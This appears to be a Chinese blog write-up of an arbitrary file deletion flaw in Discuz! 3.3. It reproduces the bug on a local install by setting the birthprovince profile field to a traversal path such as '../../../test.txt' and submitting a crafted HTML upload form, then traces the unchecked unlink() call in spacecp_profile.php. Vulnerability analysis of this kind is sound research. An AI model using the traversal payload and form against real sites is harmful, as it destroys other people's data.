【漏洞分析】Discuz!<=3.3 任意文件删除漏洞

0x01 前言

之前网上爆的的是Discuz!<=3.4的任意文件删除漏洞,为什么这里变成3.3了呢?因为厂商已经把3.4的修复了,不过3.3版本还是存在问题的。

0x02 漏洞复现

首先,在本地创建一个我们要删除的测试文件

注册一个账号

然后点击保存,用burp抓个包,就可以得到我们的formhash,并在birthprovince中修改成我们要删除的文件路径(../../../test.txt)

然后可以在本地创建一个文件上传的表单

<!DOCTYPE html>
<html>
<head>
    <title>Upload</title>
</head>
<body>
<form action="http://127.0.0.1:8080/code_audit/Discuz_X3.3_SC_UTF8/upload/home.php?mod=spacecp&ac=profile&op=base method="POST" enctype="multipart/form-data">
    <input type="file" name="birthprovince" id="file" />
    <input type="text" name="formhash" value="a7ccdf77"/>
    <input type="text" name="profilesubmit" value="1"/>
    <input type="submit" value="Submit" />
</from>
</body>
</html>

然后点击上传

就完成了删除文件了~


0x03 漏洞分析

这里漏洞出现在/upload/source/include/spacecp/spacecp_profile.php


这里第182、183行有两个unlink()函数可以删除文件,但是需要formtype=file才可以,我们把这里的打印出来

发现并不是file,因此不能在这里进行删除,继续往下看,

第229行有一个unlink()函数,并且没有任何判断,也就是说只要程序运行到这里,就可以删除文件。看一下条件

@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);

这里向上回溯,看一下$space[$key]在哪里。

出现在第23行,发现这个就是用户的个人设置,我们可以选择birthprovince,修改成要删除的文件就好了,然后实现一个上传文件 的表单,就可以删除文件了。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容